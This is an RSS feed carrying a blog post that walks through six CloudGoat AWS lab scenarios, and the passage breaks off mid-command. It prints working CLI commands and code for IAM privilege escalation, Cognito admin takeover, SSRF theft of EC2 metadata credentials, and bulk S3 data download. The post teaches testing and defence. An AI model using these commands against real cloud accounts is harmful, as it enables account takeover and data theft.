<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Or Amar (Practiccollie) on Medium]]></title>
        <description><![CDATA[Stories by Or Amar (Practiccollie) on Medium]]></description>
        <link>https://medium.com/@practiccollie?source=rss-9a046290e9d0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*3VXEoW3nxaY0eu1-</url>
            <title>Stories by Or Amar (Practiccollie) on Medium</title>
            <link>https://medium.com/@practiccollie?source=rss-9a046290e9d0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 13:40:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@practiccollie/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AWS Attack Scenarios]]></title>
            <link>https://medium.com/@practiccollie/aws-attack-scenarios-29a1bdd19747?source=rss-9a046290e9d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/29a1bdd19747</guid>
            <dc:creator><![CDATA[Or Amar (Practiccollie)]]></dc:creator>
            <pubDate>Wed, 13 Sep 2023 06:55:25 GMT</pubDate>
            <atom:updated>2023-09-13T06:56:50.151Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eu5U__zXO9UJ3gA1" /><figcaption>Photo by <a href="https://unsplash.com/@guerrillabuzz?utm_source=medium&amp;utm_medium=referral">GuerrillaBuzz</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Test your AWS environment and learn how to exploit some vulnerable misconfigured resources</h4><p>In this blog, we’ll dive into essential AWS CLI commands and techniques that you can leverage during security audits for your organization. The focus here is on practical scenarios drawn from real-life situations, ensuring that you’re well-prepared to handle these challenges in your assessments. A huge shoutout to <a href="https://github.com/RhinoSecurityLabs/cloudgoat">cloudgoat</a> (by RhinoSecurityLabs) for creating these fantastic labs, which serve as the foundation for our insights and learning.</p><p>By the end of this blog, you’ll have a clear understanding of how to navigate AWS security scenarios using the AWS CLI, equipped with actionable insights that can significantly enhance your security posture. Let’s jump in and explore these valuable techniques together!</p><h3><strong>Some key points to keep in mind:</strong></h3><blockquote><em>1. Begin by understanding your “</em><strong><em>whoami</em></strong><em>” privileges within the environment. This serves as your starting point.</em></blockquote><blockquote><em>2. Identify your potential “</em><strong><em>suspects</em></strong><em>”: any resource with sensitive data could be vulnerable due to misconfigured IAM policies.</em></blockquote><blockquote><em>3. Embrace the “</em><strong><em>dig-in</em></strong><em>” approach: Once you’ve locked on a resource, dive into it with targeted commands to uncover vulnerabilities.</em></blockquote><blockquote><em>4. And in case you didn&#39;t do so, ensure that your AWS credentials are configured using </em><a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html"><em>environment variables</em></a><em>.</em></blockquote><h3><strong>Table of Contents:</strong></h3><ul><li><a href="#6519">Scenario 1: IAM (Rollback Policy History)</a></li><li><a href="#d26d">Scenario 2: Lambda (Assume Lambdamanager Role)</a></li><li><a href="#303b">Scenario 3: Cognito (Abusing Default Creds)</a></li><li><a href="#460f">Scenario 4: EC2 (Secrets In Lambdas)</a></li><li><a href="#b997">Scenario 5: S3 (Metadata Breach Escalation)</a></li><li><a href="#bc53">Scenario 6: EC2 (An Extra Role to Attach)</a></li></ul><h3>Scenario 1: IAM (Rollback Policy History)</h3><p><em>Check whether your user, or your low-privileged “test user,” can live the high life after finding some seriously juicy policies. Let’s find out!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*w-xVajM3p_bWPpiDtaCirQ.gif" /></figure><ol><li>Start by checking your “whoami” privileges.</li></ol><pre>$ aws iam get-user</pre><p>2. Your “suspect” here is IAM resource so lets check your attached policies.</p><pre>$ aws iam list-attached-user-policies --user-name &lt;YOUR USERNAME&gt;</pre><p>3. Now “dig-in” to the policy (PolicyArn) specified in the “AttachedPolicies”.</p><pre>$ aws iam list-policy-versions --policy-arn &lt;YOUR PolicyArn&gt;<br><br>{<br>    &quot;Versions&quot;: [<br>        {<br>            &quot;VersionId&quot;: &quot;v5&quot;,<br>            &quot;IsDefaultVersion&quot;: false,<br>            &quot;CreateDate&quot;: &quot;2023-06-28T17:54:20+00:00&quot;<br>        },<br>        {<br>            &quot;VersionId&quot;: &quot;v4&quot;,<br>            &quot;IsDefaultVersion&quot;: false,<br>            &quot;CreateDate&quot;: &quot;2023-06-28T17:54:20+00:00&quot;<br>        },<br>        {<br>            &quot;VersionId&quot;: &quot;v3&quot;,<br>            &quot;IsDefaultVersion&quot;: false,<br>            &quot;CreateDate&quot;: &quot;2023-06-28T17:54:20+00:00&quot;<br>        },<br>        {<br>            &quot;VersionId&quot;: &quot;v2&quot;,<br>            &quot;IsDefaultVersion&quot;: false,<br>            &quot;CreateDate&quot;: &quot;2023-06-28T17:54:20+00:00&quot;<br>        },<br>        {<br>            &quot;VersionId&quot;: &quot;v1&quot;,<br>            &quot;IsDefaultVersion&quot;: true,<br>            &quot;CreateDate&quot;: &quot;2023-06-28T17:54:19+00:00&quot;<br>        }<br>    ]<br>}</pre><p>4. Further “dig-in” to all versions until you find a juicy action (v4) with a joker asterisk 🤣 allowing <strong>any action to any resource</strong>.</p><pre>$ aws iam get-policy-version --policy-arn &lt;YOUR PolicyArn&gt; --version-id v4<br><br> &quot;Statement&quot;: [<br>                {<br>                    &quot;Action&quot;: &quot;*&quot;,<br>                    &quot;Effect&quot;: &quot;Allow&quot;,<br>                    &quot;Resource&quot;: &quot;*&quot;<br>                }<br>            ]</pre><p>5. Set the vulnerable version to default and be limitless (“*”).</p><pre>$ aws iam set-default-policy-version --policy-arn &lt;YOUR PolicyArn&gt; --version-id v4</pre><blockquote><strong>Takeout&#39;s:<br></strong>Keep in mind, when you explore policies and roles, take a close look at anything you’re not familiar with. In our case, we found the rollback policy with five different versions. In version four, we discovered the “Joker” action which basically allows you to do anything to any resource.</blockquote><h3>Scenario 2: Lambda (assume Lambdamanager role)</h3><p><em>Some resources are given to much credit! check if you can steal some high-privileged roles and become the master of masters!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*RTG2c9__5KJnpcENcXVz4g.gif" /></figure><ol><li>Start by checking your “whoami” privileges.</li></ol><pre>$ aws iam get-user</pre><p>2. List your attached policies and look for “suspects”.</p><pre>$ aws iam list-attached-user-policies --user-name &lt;YOUR USERNAME&gt;</pre><p>3. Once you identified an interesting “suspect”, dig-in to the policy. This time we found an “sts:AssumeRole” action.</p><pre>$ aws iam get-policy-version --policy-arn &lt;YOUR PolicyArn&gt; --version-id v1<br><br>{<br>    &quot;PolicyVersion&quot;: {<br>        &quot;Document&quot;: {<br>            &quot;Statement&quot;: [<br>                {<br>                    &quot;Action&quot;: [<br>                        &quot;sts:AssumeRole&quot;,<br>                        &quot;iam:List*&quot;,<br>                        &quot;iam:Get*&quot;<br>                    ],<br>                    &quot;Effect&quot;: &quot;Allow&quot;,<br>                    &quot;Resource&quot;: &quot;*&quot;,<br>                    &quot;Sid&quot;: &quot;john&quot;<br>                }<br>            ],<br>            &quot;Version&quot;: &quot;2012-10-17&quot;<br>        },<br>        &quot;VersionId&quot;: &quot;v1&quot;,<br>        &quot;IsDefaultVersion&quot;: true,<br>        &quot;CreateDate&quot;: &quot;2023-06-29T08:07:30+00:00&quot;<br>    }<br>}</pre><p>4. We know our attached-policy can<strong> assume a role!</strong> lets search for juicy roles to take 😈 by listing all roles.</p><pre>$ aws iam list-roles </pre><p>5. Point out your desirable “RoleNames” (usually customized names) like “Debug”, “AdminAccess”, “Master” and ? yes, “dig-in” and list the <strong>attached-role-policies</strong>.</p><pre>$ aws iam list-attached-role-policies --role-name &lt;YOUR_INTRESTING_ROLE_NAME&gt;</pre><p>6. Look at your attached policy of the selected RoleName, what actions are allowed ? We found that this policy allows any lambda to “PassRole” to any resource. cool no ?</p><pre>$ aws iam get-policy-version --policy-arn &lt;lambdaManager_PolicyArn&gt; --version-id v1<br><br>{<br>    &quot;PolicyVersion&quot;: {<br>        &quot;Document&quot;: {<br>            &quot;Statement&quot;: [<br>                {<br>                    &quot;Action&quot;: [<br>                        &quot;lambda:*&quot;,<br>                        &quot;iam:PassRole&quot;<br>                    ],<br>                    &quot;Effect&quot;: &quot;Allow&quot;,<br>                    &quot;Resource&quot;: &quot;*&quot;,<br>                    &quot;Sid&quot;: &quot;lambdaManager&quot;<br>                }<br>            ],<br>            &quot;Version&quot;: &quot;2012-10-17&quot;<br>        },<br>        &quot;VersionId&quot;: &quot;v1&quot;,<br>        &quot;IsDefaultVersion&quot;: true,<br>        &quot;CreateDate&quot;: &quot;2023-06-29T08:07:30+00:00&quot;<br>    }<br>}</pre><p>7. Now we wanna steal the so called lambdaManager and be the boss 😆</p><pre>$ aws sts assume-role --role-arn &lt;THE_ROLE_ARN FROM_STEP_4&gt; --role-session-name &lt;PICK_A_NAME&gt;<br><br>{<br>    &quot;Credentials&quot;: {<br>        &quot;AccessKeyId&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>        &quot;SecretAccessKey&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>        &quot;SessionToken&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>        &quot;Expiration&quot;: &quot;2023-06-30T11:06:34+00:00&quot;<br>    },<br>    &quot;AssumedRoleUser&quot;: {<br>        &quot;AssumedRoleId&quot;: &quot;AROAYFEV2FLCEDL7SYQAL:xxxxxx&quot;,<br>        &quot;Arn&quot;: &quot;arn:aws:sts::560807422660:assumed-role/cg-lambdaManager-role-lambda_privesc_cgide38k8w2ifr/xxxxxx&quot;<br>    }<br>}</pre><p>8. Configure your new “high society” credentials in the .aws folder.</p><pre>$ subl ~/.aws/credentials<br><br>[blablabla]<br>aws_access_key_id = xxx-xxx-xxx-xxx<br>aws_secret_access_key = xxx-xxx-xxx-xxx<br>aws_session_token = xxx-xxx-xxx-xxx</pre><p>9. Write a small python function to trigger our lambda. This function aims to abuse the LambdaManager role and assign “<a href="https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/policies/details/arn%3Aaws%3Aiam%3A%3Aaws%3Apolicy%2FAdministratorAccess">AdministratorAccess</a>” to our original username.</p><pre>import boto3<br><br>def lambda_handler(event, context):<br> client = boto3.client(&#39;iam&#39;)<br> response = client.attach_user_policy(UserName = &#39;YOUR USERNAME&#39;, PolicyArn=&#39;arn:aws:iam::aws:policy/AdministratorAccess&#39;)<br> return responsepy</pre><p>10. Zip your python script.</p><pre>$ zip -r lambda_function.py.zip lambda_function.py</pre><p>11. Create your admin function by running the script and see the results.</p><pre>$ aws lambda create-function --function-name &lt;PICK A NAME&gt; --runtime python3.9 --role &lt;THE FULL ARN FROM STEP 4 - usually allows Debug&gt; --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip --profile blablabla --region us-east-1<br><br>{<br>    &quot;FunctionName&quot;: &quot;&lt;ADMIN_FUNCTION&gt;&quot;,<br>    &quot;FunctionArn&quot;: &quot;arn:aws:lambda:us-east-1:560807422660:function:&lt;ADMIN_FUNCTION&gt;&quot;,<br>    &quot;Runtime&quot;: &quot;python3.9&quot;,<br>    &quot;Role&quot;: &quot;&lt;the role you added&gt;&quot;,<br>    &quot;Handler&quot;: &quot;lambda_function.lambda_handler&quot;,<br>    &quot;CodeSize&quot;: 361,<br>    &quot;Description&quot;: &quot;&quot;,<br>    &quot;Timeout&quot;: 3,<br>    &quot;MemorySize&quot;: 128,<br>    &quot;LastModified&quot;: &quot;2023-06-30T10:39:53.250+0000&quot;,<br>    &quot;CodeSha256&quot;: &quot;xxx-xxx-xxx&quot;,<br>    &quot;Version&quot;: &quot;$LATEST&quot;,<br>    &quot;TracingConfig&quot;: {<br>        &quot;Mode&quot;: &quot;PassThrough&quot;<br>    },<br>    &quot;RevisionId&quot;: &quot;fae2a859-e2a9-422d-9571-46f0cf3e3c0c&quot;,<br>    &quot;State&quot;: &quot;Pending&quot;,<br>    &quot;StateReason&quot;: &quot;The function is being created.&quot;,<br>    &quot;StateReasonCode&quot;: &quot;Creating&quot;,<br>    &quot;PackageType&quot;: &quot;Zip&quot;,<br>    &quot;Architectures&quot;: [<br>        &quot;x86_64&quot;<br>    ],<br>    &quot;EphemeralStorage&quot;: {<br>        &quot;Size&quot;: 512<br>    },<br>    &quot;SnapStart&quot;: {<br>        &quot;ApplyOn&quot;: &quot;None&quot;,<br>        &quot;OptimizationStatus&quot;: &quot;Off&quot;<br>    },<br>    &quot;RuntimeVersionConfig&quot;: {<br>        &quot;RuntimeVersionArn&quot;: &quot;arn:aws:lambda:us-east-1::runtime:xxx-xxx-xxx&quot;<br>    }<br>}</pre><p>12. Now lets run our new super lambda!</p><pre>$ aws lambda invoke --function-name &lt;ADMIN_FUNCTION&gt; out.txt --profile blablabla --region us-east-1<br><br>{<br>    &quot;StatusCode&quot;: 200,<br>    &quot;ExecutedVersion&quot;: &quot;$LATEST&quot;<br>}</pre><p>13. Try to list secrets from “<a href="https://us-east-1.console.aws.amazon.com/secretsmanager/landing?region=us-east-1">Secrets Manager</a>” and win the lottery 🤑</p><pre>$ aws --profile &lt;YOUR_ORIGINAL_PROFILE&gt; --region us-east-1 secretsmanager list-secrets</pre><blockquote><strong>Takeout’s:<br></strong>Keep in mind that policies could be assined to resources as well (like the super lambda we found). One of our user’s attached policies allowed us to “AssumeRole” and list/get any AWS resource. We then searched for some interesting roles and targeted the shouting-out “<strong>lambdaManager</strong>” RoleName. Then we listed that roles’ policies and discovered the “PassRole” to any lambda (seems like an admin lambda). So we took it! and stored the admin lambda creds in our .aws/credentials file. Then we triggered our lambda with the super role to assign our selves with AdministratorAccess to all.. end of story!</blockquote><h3>Scenario 3: Cognito (Abusing Default Creds)</h3><p><em>With Cognito in use, you need to get the UserPoolId and ClientId of an application which could sometime be found in the front-end source code of the application. You got that and you rule the world!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*_Tpl4xUJ8tc3oXx0iiN1Wg.gif" /></figure><ol><li>In case we found some generic credentials, they should look like this:</li></ol><pre>var CognitoUserPool = AmazonCognitoIdentity.CognitoUserPool;<br>  var poolData {<br>    UserPoolId: &#39;xxx-xxx-xxx&#39;,<br>    ClientId: &#39;xxx-xxx-xxx&#39;,<br>  }</pre><p>2. Try to signup with the default ClientId you found in Cognito and bypass the registration using awscli.</p><pre>$ aws cognito-idp sign-up --client-id &lt;ClientID&gt; --username &lt;CHOSEN_EMAIL_USERNAME&gt; --password &lt;YOUR CHOSEN PASSWORD&gt; --user-attributes &#39;[{&quot;Name&quot;:&quot;given_name&quot;,&quot;Value&quot;:&quot;whatever&quot;},{&quot;Name&quot;:&quot;family_name&quot;,&quot;Value&quot;:&quot;whatever&quot;}]&#39;</pre><p>3. Confirm your email username in order to be fully registered</p><pre>$ aws cognito-idp confirm-sign-up --client-id &lt;ClientID&gt; --username &lt;USERNAME&gt; --confirmation-code &lt;YOUR ConfirmationCode&gt;</pre><p>4. Grab your access token and change the value to “admin” , then log-in as admin.</p><pre>$ aws cognito-idp get-user --access-token &lt;YOUR AccessToken&gt;</pre><p>5. Now update the command and log-in again and get your AWS Access keys.</p><pre>$ aws cognito-idp update-user-attributes --access-token &lt;YOUR AccessToken&gt; --user-attributes &#39;[{&quot;Name&quot;:&quot;custom:access&quot;,&quot;Value&quot;:&quot;admin&quot;}]&#39;</pre><blockquote><strong>Takeout’s:<br></strong>Wow! keep in mind that Cognito provides identity methods and sometimes you could exploit default configurations such as bypassing the registration with awscli commands. if you have Cognito in use there are many things you can do but this should encourage you to further read cause applications’ design may differ.</blockquote><h3>Scenario 4: EC2 (Secrets In Lambdas)</h3><p><em>Be very very quite.. some secret credentials are about to be stolen from lambda functions to access the abused ec2.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*epD9k4er6wZa40UJhq1o5w.gif" /></figure><ol><li>Imagine you have readOnly permissions to Lambda functions, lets enumerate!</li></ol><pre>$ aws lambda list-functions</pre><p>2. Hard-coded secrets for an EC2 Instance were found in a lambda function. Lets configure a new user profile.</p><pre>$ aws configure --profile HAHA_EC2_USER<br><br>[HAHA_EC2_USER]<br>&quot;EC2_ACCESS_KEY_ID&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>&quot;EC2_SECRET_KEY_ID&quot;: &quot;xxx-xxx-xxx-xxx&quot;</pre><p>3. Lets enumerate all EC2’s available for our new “HAHA_EC2_USER” user.</p><pre>$ aws ec2 describe-instances --profile HAHA_EC2_USER</pre><p>4. We found a “suspect” EC2 instance with a public IP, what would you do ? Yea, browse it (always look for errors and try SSRF against public IPs).</p><pre>http://3.86.109.62<br><br>TypeError: URL must be a string, not undefined<br>    at new Needle (/node_modules/needle/lib/needle.js:147:11)<br>    at Function.module.exports.(anonymous function) [as get] (/node_modules/needle/lib/needle.js:819:12)<br>    at /home/ubuntu/app/ssrf-demo-app.js:32:12<br>    at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)<br>    at next (/node_modules/express/lib/router/route.js:144:13)<br>    at Route.dispatch (/node_modules/express/lib/router/route.js:114:3)<br>    at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)<br>    at /node_modules/express/lib/router/index.js:284:15<br>    at Function.process_params (/node_modules/express/lib/router/index.js:346:12)<br>    at next (/node_modules/express/lib/router/index.js:280:10)</pre><p>5. Try to trigger the out of band SSRF against the AWS metadata in that EC2 and boom! we found more keys for another EC2 (admin keys).</p><pre>http://3.86.109.62/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;the_vuln_roleName&gt;<br><br>{<br>  &quot;Code&quot; : &quot;Success&quot;,<br>  &quot;LastUpdated&quot; : &quot;2023-07-01T16:49:41Z&quot;,<br>  &quot;Type&quot; : &quot;AWS-HMAC&quot;,<br>  &quot;AccessKeyId&quot; : &quot;xxx-xxx-xxx-xxx&quot;,<br>  &quot;SecretAccessKey&quot; : &quot;xxx-xxx-xxx-xxx&quot;,<br>  &quot;Token&quot; : &quot;xxx-xxx-xxx-xxx&quot;</pre><p>6. Configure the credentials in your .aws folder (we named it ec2role).</p><pre>[ec2role]<br>aws_access_key_id = xxx-xxx-xxx-xxx<br>aws_secret_access_key = xxx-xxx-xxx-xxx<br>aws_session_token = xxx-xxx-xxx-xxx</pre><p>7. Now when you own this EC2 try to find sensitive data in s3 buckets associated with this machine.</p><pre>$ aws s3 ls --profile ec2role</pre><p>8. Pick some juicy s3 buckets and dig-in! for interesting files.</p><pre>$ aws s3 ls --profile ec2role s3://&lt;the bucket&gt;</pre><p>9. Download the juicy file with credentials from that bucket 😎</p><pre>$ aws s3 cp --profile ec2role s3://&lt;the bucket&gt;/&lt;admin-user.txt&gt; ./<br><br>download: s3://cg-secret-s3-bucket-ec2-ssrf-cgidto909hc3kc/admin-user.txt to ./admin-user.txt<br><br>$ cat admin-user.txt                                                                                                                                         <br><br> xxx-xxx-xxx-xxx<br> xxx-xxx-xxx-xxx</pre><p>10. Configure the new admin credentials</p><pre>[myadmin]<br>aws_access_key_id = xxx-xxx-xxx-xxx<br>aws_secret_access_key = xxx-xxx-xxx-xxx</pre><p>11. Obviously we’re an admin now so lets list our lambda functions again</p><pre>$ aws lambda list-functions --profile myadmin --region us-east-1</pre><p>12. Yea, now you can invoke any Lambda you want 😆</p><pre>$ aws lambda invoke --function-name &lt;FUNCTION NAME&gt; --profile myadmin --region us-east-1 ./out.txt<br><br>{<br>    &quot;StatusCode&quot;: 200,<br>    &quot;ExecutedVersion&quot;: &quot;$LATEST&quot;<br>}</pre><blockquote><strong>Takeout’s:<br></strong>Keep in mind! your code should be cleannn from secrets, no matter where its sitting. First we found secrets to an EC2. Then we listed other EC2’s form the EC2 user we took. Then we found an Ubuntu machine instance which is vulnerable to SSRF via IMDSv1 (read about it <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html">here</a>). So, we took over that machine with the help of the Metadata breach. With admin creds on that EC2, we listed some S3 buckets and found access to everything else with another set of creds!</blockquote><h3>Scenario 5: S3 (Metadata Breach Escalation)</h3><p><em>One foreign step from an outsider to your environment, with the help of the IMDSv1 to a local EC2 server, that’s all you need!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*DcaJhUYtLFp1XRaXITALGg.gif" /></figure><ol><li>Lets trigger the metadata vulnerability using the public IP of an EC2.</li></ol><pre>$ curl -s http://&lt;ec2-ip-address&gt;/latest/meta-data/iam/security-credentials/ -H &#39;Host:169.254.169.254&#39;</pre><p>2. We found EC2 access credentials, paste them into your .aws folder.</p><pre>$ aws configure --profile PICK_NAME<br><br>[PICK_NAME]<br>aws_access_key_id = xxx-xxx-xxx-xxx<br>aws_secret_access_key = xxx-xxx-xxx-xxx</pre><p>3. List all associated s3 buckets associated with this machine</p><pre>$ ​aws s3 ls --profile PICK_NAME</pre><p>4. Further dig-in to your “suspect” s3 bucket and list its content with any secret you can find.</p><pre>$ aws s3 sync s3://&lt;bucket-name&gt; ./cardholder-data --profile PICK_NAME</pre><blockquote><strong>Takeout’s:<br></strong>So here we learned a little more about the Metadata cloud breach. Be aware of it, cause it still exists! Once you find admin credentials on an EC2, you are privileged to call other associated resources (like s3), which holds sensitive data.</blockquote><h3>Scenario 6: EC2 (An Extra Role to Attach)</h3><p><em>What happens when you look at your EC2’s profile and reveal a Joker role “free for delivery” waiting to be attached by you!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*WLV1agaTQLW3dpDB3JP3wQ.gif" /></figure><ol><li>We have chosen EC2 as our “suspect”, lets list EC2 profiles that are associated with your user. Note that EC2’s have profiles like users do.</li></ol><pre>$ aws iam list-instance-profiles --profile &lt;YOUR USER&gt; --region us-east-1<br><br>{<br>            &quot;Path&quot;: &quot;/&quot;,<br>            &quot;InstanceProfileName&quot;: &quot;&lt;PROFILE_NAME&gt;&quot;,<br>            &quot;InstanceProfileId&quot;: &quot;xxx-xxx-xxx&quot;,<br>            &quot;Arn&quot;: &quot;arn:aws:iam::560807422660:instance-profile/&lt;PROFILE_NAME&gt;&quot;,<br>            &quot;CreateDate&quot;: &quot;2023-06-30T11:10:37+00:00&quot;,<br>            &quot;Roles&quot;: [<br>                {<br>                    &quot;Path&quot;: &quot;/&quot;,<br>                    &quot;RoleName&quot;: &quot;&lt;LOW_PRIV_ROLE&gt;&quot;,<br>                    &quot;RoleId&quot;: &quot;xxx-xxx-xxx&quot;,<br>                    &quot;Arn&quot;: &quot;arn:aws:iam::560807422660:role/&lt;LOW_PRIVS_ROLE&gt;&quot;,<br>                    &quot;CreateDate&quot;: &quot;2023-06-30T11:10:36+00:00&quot;,<br>                    &quot;AssumeRolePolicyDocument&quot;: {<br>                        &quot;Version&quot;: &quot;2012-10-17&quot;,<br>                        &quot;Statement&quot;: [<br>                            {<br>                                &quot;Effect&quot;: &quot;Allow&quot;,<br>                                &quot;Principal&quot;: {<br>                                    &quot;Service&quot;: &quot;ec2.amazonaws.com&quot;<br>                                },<br>                                &quot;Action&quot;: &quot;sts:AssumeRole&quot;<br>                            }<br>                        ]<br>                    }<br>                }<br>            ]<br>        },</pre><p>2. What roles we have attached to this EC2 instance-prifile ? Looks like we found an additional “&lt;HIGH_PRIV_ROLE&gt;” 😆</p><pre>$ aws iam list-roles --profile &lt;YOUR USER&gt;<br><br>{<br>            &quot;Path&quot;: &quot;/&quot;,<br>            &quot;RoleName&quot;: &quot;&lt;LOW_PRIV_ROLE&gt;&quot;,<br>            &quot;RoleId&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>            &quot;Arn&quot;: &quot;arn:aws:iam::560807422660:role/&lt;LOW_PRIV_ROLE&gt;&quot;,<br>            &quot;CreateDate&quot;: &quot;2023-06-30T11:10:36+00:00&quot;,<br>            &quot;AssumeRolePolicyDocument&quot;: {<br>                &quot;Version&quot;: &quot;2012-10-17&quot;,<br>                &quot;Statement&quot;: [<br>                    {<br>                        &quot;Effect&quot;: &quot;Allow&quot;,<br>                        &quot;Principal&quot;: {<br>                            &quot;Service&quot;: &quot;ec2.amazonaws.com&quot;<br>                        },<br>                        &quot;Action&quot;: &quot;sts:AssumeRole&quot;<br>                    }<br>                ]<br>            },<br>{<br>            &quot;Path&quot;: &quot;/&quot;,<br>            &quot;RoleName&quot;: &quot;&lt;HIGH_PRIV_ROLE&gt;&quot;,<br>            &quot;RoleId&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>            &quot;Arn&quot;: &quot;arn:aws:iam::560807422660:role/&lt;HIGH_PRIV_ROLE&gt;0&quot;,<br>            &quot;CreateDate&quot;: &quot;2023-06-30T11:10:36+00:00&quot;,<br>            &quot;AssumeRolePolicyDocument&quot;: {<br>                &quot;Version&quot;: &quot;2012-10-17&quot;,<br>                &quot;Statement&quot;: [<br>                    {<br>                        &quot;Effect&quot;: &quot;Allow&quot;,<br>                        &quot;Principal&quot;: {<br>                            &quot;Service&quot;: &quot;ec2.amazonaws.com&quot;<br>                        },<br>                        &quot;Action&quot;: &quot;sts:AssumeRole&quot;<br>                    }<br>                ]<br>            },</pre><p>3. Lets remove the “&lt;LOW_PRIV_ROLE&gt;” from the instance profile (nothing says we cant).</p><pre>$ aws iam remove-role-from-instance-profile --instance-profile-name &lt;PROFILE_NAME&gt; --role-name &lt;LOW_PRIV_ROLE&gt; --profile &lt;YOUR USER&gt;</pre><p>4. Lets add the &lt;HIGH_PRIV_ROLE&gt; to the instance profile 😆(obviously we had actions on both roles)</p><pre>$ aws iam add-role-to-instance-profile --instance-profile-name &lt;PROFILE_NAME&gt; --role-name &lt;HIGH_PRIV_ROLE&gt; --profile &lt;YOUR USER&gt;</pre><p>5. Now with a powerful role attached to our instance profile, we can create an EC2 with high privileges. Lets first create SSH keys for the EC2.</p><pre>$ aws ec2 create-key-pair --key-name pwned --profile &lt;YOUR_USER&gt; --query &#39;KeyMaterial&#39; --region us-east-1 --output text &gt; pwned.pem</pre><p>6. Set permissions for the keys.</p><pre>$ chmod 400 pwned.pem</pre><p>7. We need to copy the same subnet and the same security group to our new machine, in order to attack the vulnerable EC2. First list the EC2 subnets.</p><pre>$ aws ec2 describe-subnets --profile &lt;YOUR USER&gt; --region us-east-1<br><br>{<br>            &quot;AvailabilityZone&quot;: &quot;us-east-1a&quot;,<br>            &quot;AvailabilityZoneId&quot;: &quot;use1-az4&quot;,<br>            &quot;AvailableIpAddressCount&quot;: 250,<br>            &quot;CidrBlock&quot;: &quot;10.0.10.0/24&quot;,<br>            &quot;DefaultForAz&quot;: false,<br>            &quot;MapPublicIpOnLaunch&quot;: true,<br>            &quot;MapCustomerOwnedIpOnLaunch&quot;: false,<br>            &quot;State&quot;: &quot;available&quot;,<br>            &quot;SubnetId&quot;: &quot;subnet-xxx-xxx-xxx-xxx&quot;,<br>            &quot;VpcId&quot;: &quot;vpc-xxx-xxx-xxx-xxx&quot;,<br>            &quot;OwnerId&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>            &quot;AssignIpv6AddressOnCreation&quot;: false,<br>            &quot;Ipv6CidrBlockAssociationSet&quot;: [],<br>            &quot;Tags&quot;: [<br>                {<br>                    &quot;Key&quot;: &quot;Scenario&quot;,<br>                    &quot;Value&quot;: &quot;iam-privesc-by-attachment&quot;<br>                },<br>                {<br>                    &quot;Key&quot;: &quot;Name&quot;,<br>                    &quot;Value&quot;: &quot;xxx-xxx-xxx-xxx Public Subnet&quot;<br>                },<br>                {<br>                    &quot;Key&quot;: &quot;Stack&quot;,<br>                    &quot;Value&quot;: &quot;CloudGoat&quot;<br>                }<br>            ],</pre><p>8. Now list the security groups.</p><pre>$ aws ec2 describe-security-groups --profile &lt;YOUR_USER&gt; --region us-east-1<br><br>{<br>            &quot;Description&quot;: &quot;Security Group for EC2 Instance over SSH&quot;,<br>            &quot;GroupName&quot;: &quot;ec2-ssh-xxx-xxx-xxx&quot;,<br>            &quot;IpPermissions&quot;: [<br>                {<br>                    &quot;FromPort&quot;: 22,<br>                    &quot;IpProtocol&quot;: &quot;tcp&quot;,<br>                    &quot;IpRanges&quot;: [<br>                        {<br>                            &quot;CidrIp&quot;: &quot;77.125.242.192/32&quot;<br>                        }<br>                    ],<br>                    &quot;Ipv6Ranges&quot;: [],<br>                    &quot;PrefixListIds&quot;: [],<br>                    &quot;ToPort&quot;: 22,<br>                    &quot;UserIdGroupPairs&quot;: []<br>                }<br>            ],<br>            &quot;OwnerId&quot;: &quot;xxx-xxx-xxx-xxx&quot;,<br>            &quot;GroupId&quot;: &quot;sg-xxx-xxx-xxx-xxx&quot;,<br>            &quot;IpPermissionsEgress&quot;: [<br>                {<br>                    &quot;IpProtocol&quot;: &quot;-1&quot;,<br>                    &quot;IpRanges&quot;: [<br>                        {<br>                            &quot;CidrIp&quot;: &quot;0.0.0.0/0&quot;<br>                        }<br>                    ],<br>                    &quot;Ipv6Ranges&quot;: [],<br>                    &quot;PrefixListIds&quot;: [],<br>                    &quot;UserIdGroupPairs&quot;: []<br>                }</pre><p>9. Now create the EC2 with the values above ( The image-id is default and depends on size and region, you can find it in the console).</p><pre>$ aws ec2 run-instances --image-id ami-0a313d6098716f372 --instance-type t2.micro --iam-instance-profile 